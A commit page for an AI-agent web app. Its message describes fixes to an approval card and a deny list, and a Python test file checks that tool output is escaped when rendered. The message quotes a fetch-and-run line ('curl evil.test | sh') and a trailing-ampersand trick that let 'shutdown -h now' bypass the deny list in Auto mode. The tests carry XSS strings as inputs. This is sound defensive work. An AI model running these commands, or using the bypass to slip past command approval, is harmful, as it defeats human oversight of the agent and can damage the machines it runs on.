Jaroslav Beneš
b03dfa24fd
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
293 lines
9.9 KiB
Python
293 lines
9.9 KiB
Python
"""Rendering what a tool did.
|
|
|
|
The block is written from four places and read from stored rows written by
|
|
earlier versions, so it has to render anything shaped roughly like an event --
|
|
and everything in it is third-party text.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import re
|
|
from pathlib import Path
|
|
|
|
from lembas.services import tool_labels
|
|
from lembas.services import tools as tools_service
|
|
from lembas.services.agent import tools as agent_tools
|
|
from lembas.web.templating import templates
|
|
|
|
|
|
def _render(*events, live: bool = False) -> str:
|
|
return templates.get_template("chat/_tool_activity.html").render(
|
|
{"tool_events": list(events), "live": live}
|
|
)
|
|
|
|
|
|
def test_a_search_still_says_it_searched_the_web():
|
|
html = _render(
|
|
{
|
|
"name": "web_search",
|
|
"kind": "search",
|
|
"query": "mallorn",
|
|
"status": "ok",
|
|
"results": [
|
|
{
|
|
"title": "Mallorn",
|
|
"url": "https://a.test/m",
|
|
"host": "a.test",
|
|
"snippet": "A tree.",
|
|
}
|
|
],
|
|
}
|
|
)
|
|
assert "Searched the web for “mallorn”" in html
|
|
assert '<a class="tool-result__title" href="https://a.test/m"' in html
|
|
assert "1 result" in html
|
|
|
|
|
|
def test_a_library_tool_no_longer_claims_to_have_searched_the_web():
|
|
"""Stored rows predate `kind`, and every one of them used to render a globe
|
|
and "Searched the web for <the note title>"."""
|
|
html = _render({"name": "notes_search", "query": "shopping", "status": "ok", "results": []})
|
|
assert "Searched the web" not in html
|
|
assert "Notes searched" in html
|
|
|
|
|
|
def test_a_custom_tool_is_named_and_its_host_shown():
|
|
html = _render(
|
|
{
|
|
"name": "weather",
|
|
"kind": "custom",
|
|
"label": "Weather",
|
|
"query": "city='Minas Tirith'",
|
|
"detail": "GET api.test",
|
|
"status": "ok",
|
|
"results": [],
|
|
"text": "Sunny.",
|
|
}
|
|
)
|
|
assert "Weather" in html
|
|
assert "GET api.test" in html
|
|
assert "Sunny." in html
|
|
|
|
|
|
def test_a_tools_own_text_is_escaped_and_never_rendered_as_markdown():
|
|
"""Hard rule 6. A tool's reply is exactly as untrusted as a search result,
|
|
and markdown is the one path allowed to emit HTML."""
|
|
html = _render(
|
|
{
|
|
"name": "weather",
|
|
"kind": "custom",
|
|
"label": "Weather",
|
|
"status": "ok",
|
|
"results": [],
|
|
"text": "<img src=x onerror=alert(1)> [click](javascript:alert(1))",
|
|
}
|
|
)
|
|
assert "<img" not in html
|
|
assert "<img" in html
|
|
# The markdown link is shown as the text it is, not turned into an anchor.
|
|
assert "<a " not in html
|
|
assert "[click](javascript:alert(1))" in html
|
|
|
|
|
|
def test_a_result_url_that_is_not_http_never_becomes_a_link():
|
|
html = _render(
|
|
{
|
|
"name": "web_search",
|
|
"kind": "search",
|
|
"status": "ok",
|
|
"results": [{"title": "Bad", "url": "javascript:alert(1)", "host": "", "snippet": ""}],
|
|
}
|
|
)
|
|
assert "<a " not in html
|
|
assert '<span class="tool-result__title">Bad</span>' in html
|
|
|
|
|
|
def test_a_result_with_no_url_at_all_does_not_explode():
|
|
html = _render(
|
|
{
|
|
"name": "notes_search",
|
|
"status": "ok",
|
|
"results": [{"title": "A note", "id": "abc"}],
|
|
}
|
|
)
|
|
assert "A note" in html
|
|
|
|
|
|
def test_a_failure_shows_its_reason():
|
|
html = _render(
|
|
{
|
|
"name": "weather",
|
|
"kind": "custom",
|
|
"label": "Weather",
|
|
"status": "error",
|
|
"error": "HTTP 503",
|
|
"results": [],
|
|
}
|
|
)
|
|
assert "tool-activity--error" in html
|
|
assert "Weather failed" in html
|
|
assert "HTTP 503" in html
|
|
|
|
|
|
# --- What a tool is called -----------------------------------------------------
|
|
def test_a_stored_profile_name_no_longer_becomes_the_label():
|
|
"""The whole point of the inversion.
|
|
|
|
Every agent event written before today carries `label` set to the SSH
|
|
profile's name, so the transcript said "homeserver · ls -la" and named the
|
|
machine rather than the thing that was done. Those rows are on disk and are
|
|
re-rendered on every page load, so the fix has to reach them -- which means
|
|
the static table wins over the stored value, not the other way round.
|
|
"""
|
|
html = _render(
|
|
{
|
|
"name": "shell_run",
|
|
"kind": "agent",
|
|
"label": "homeserver",
|
|
"query": "ls -la",
|
|
"detail": "homeserver:/srv/app",
|
|
"status": "ok",
|
|
"results": [],
|
|
}
|
|
)
|
|
summary = html.split("</summary>")[0]
|
|
assert "Bash" in summary
|
|
assert "homeserver" not in summary
|
|
# It is still shown, in the body, where "where this ran" belongs.
|
|
assert "homeserver:/srv/app" in html
|
|
|
|
|
|
def test_a_custom_tools_own_label_still_wins():
|
|
"""The other half of the same rule. A row-backed tool's name is per row and
|
|
cannot be tabulated, so nothing in the table shadows it."""
|
|
html = _render({"name": "weather", "kind": "custom", "label": "Weather", "results": []})
|
|
assert "Weather" in html
|
|
|
|
|
|
def test_every_builtin_and_agent_tool_has_a_label_and_an_icon():
|
|
"""A property, not markup. A tool added without an entry renders its own
|
|
function name at somebody, which is the state this replaced."""
|
|
names = [tool.name for tool in tools_service.REGISTRY.values()]
|
|
names += [tool.name for tool in agent_tools.tool_defs()]
|
|
# plan_submit is filtered out of tool_defs() outside Plan mode.
|
|
names.append("plan_submit")
|
|
missing = [name for name in names if name not in tool_labels.LABELS]
|
|
assert not missing, f"no label for {missing}"
|
|
missing = [name for name in names if name not in tool_labels.ICONS]
|
|
assert not missing, f"no icon for {missing}"
|
|
|
|
|
|
def test_every_icon_named_exists_in_the_sprite():
|
|
"""A typo'd symbol id renders an empty box and says nothing. This is the
|
|
only thing that catches it."""
|
|
sprite = Path(tools_service.__file__).parents[1] / "web/templates/partials/icons.html"
|
|
available = set(re.findall(r'id="i-([a-z-]+)"', sprite.read_text()))
|
|
wanted = set(tool_labels.ICONS.values()) | set(tool_labels.KIND_ICONS.values())
|
|
wanted.add(tool_labels.FALLBACK_ICON)
|
|
assert wanted <= available, f"not in the sprite: {sorted(wanted - available)}"
|
|
|
|
|
|
def test_an_unknown_tool_falls_back_to_its_name():
|
|
assert tool_labels.label_for({"name": "mcp_thing"}) == "mcp_thing"
|
|
assert tool_labels.icon_for({"name": "mcp_thing", "kind": "mcp"}) == "server"
|
|
assert tool_labels.icon_for({"name": "whatever"}) == tool_labels.FALLBACK_ICON
|
|
|
|
|
|
# --- Diffs -----------------------------------------------------------------------
|
|
def test_a_diff_renders_added_and_removed_lines():
|
|
html = _render(
|
|
{
|
|
"name": "file_edit",
|
|
"kind": "agent",
|
|
"query": "src/app.py",
|
|
"status": "ok",
|
|
"results": [],
|
|
"diff": "--- a/src/app.py\n+++ b/src/app.py\n@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA",
|
|
}
|
|
)
|
|
assert 'diff__line--del">-beta</span>' in html
|
|
assert 'diff__line--add">+BETA</span>' in html
|
|
assert 'diff__line--ctx"> alpha</span>' in html
|
|
assert 'diff__line--meta">@@ -1,2 +1,2 @@</span>' in html
|
|
|
|
|
|
def test_a_diff_header_is_not_an_addition():
|
|
"""`+++ b/x` at the top of every diff would otherwise render green, and
|
|
`--- a/x` red, which reads as the file being replaced by itself."""
|
|
html = _render(
|
|
{
|
|
"name": "file_edit",
|
|
"results": [],
|
|
"diff": "--- a/x.py\n+++ b/x.py\n@@ -1 +1 @@\n-a\n+b",
|
|
}
|
|
)
|
|
assert 'diff__line--meta">--- a/x.py</span>' in html
|
|
assert 'diff__line--meta">+++ b/x.py</span>' in html
|
|
|
|
|
|
def test_a_removed_line_of_dashes_is_still_a_removal():
|
|
"""A removed line whose own text begins with `--` produces exactly three
|
|
dashes, which is why the header test is against the a/ and b/ prefixes."""
|
|
html = _render({"name": "file_edit", "results": [], "diff": "@@ -1 +1 @@\n--- a dashed line"})
|
|
assert 'diff__line--del">--- a dashed line</span>' in html
|
|
|
|
|
|
def test_a_diff_line_is_escaped():
|
|
"""Hard rule 6. It is a file off somebody else's machine."""
|
|
html = _render(
|
|
{
|
|
"name": "file_edit",
|
|
"results": [],
|
|
"diff": "@@ -1 +1 @@\n+<script>alert(1)</script>",
|
|
}
|
|
)
|
|
assert "<script>" not in html
|
|
assert "<script>" in html
|
|
|
|
|
|
def test_an_event_with_no_diff_renders_none():
|
|
html = _render({"name": "file_read", "results": [], "text": "hello"})
|
|
assert "diff__line" not in html
|
|
|
|
|
|
# --- What a call was for ---------------------------------------------------------
|
|
def test_an_explanation_rides_in_the_summary_not_the_body():
|
|
"""The body is collapsed. In Auto mode nothing stops for approval, so a
|
|
reader who has to expand each call to find out what it was for is a reader
|
|
watching a list of commands with no account of any of them."""
|
|
html = _render(
|
|
{
|
|
"name": "shell_run",
|
|
"kind": "agent",
|
|
"query": "pytest -q",
|
|
"why": "Checking the change did not break anything.",
|
|
"status": "ok",
|
|
"results": [],
|
|
}
|
|
)
|
|
summary = html.split("</summary>", 1)[0]
|
|
assert "Checking the change did not break anything." in summary
|
|
|
|
|
|
def test_an_explanation_is_escaped_like_everything_else():
|
|
html = _render(
|
|
{
|
|
"name": "shell_run",
|
|
"kind": "agent",
|
|
"query": "ls",
|
|
"why": "<script>alert(1)</script>",
|
|
"status": "ok",
|
|
"results": [],
|
|
}
|
|
)
|
|
assert "<script>" not in html
|
|
assert "<script>" in html
|
|
|
|
|
|
def test_an_event_without_an_explanation_renders_no_empty_line():
|
|
html = _render(
|
|
{"name": "shell_run", "kind": "agent", "query": "ls", "status": "ok", "results": []}
|
|
)
|
|
assert "tool-activity__why" not in html
|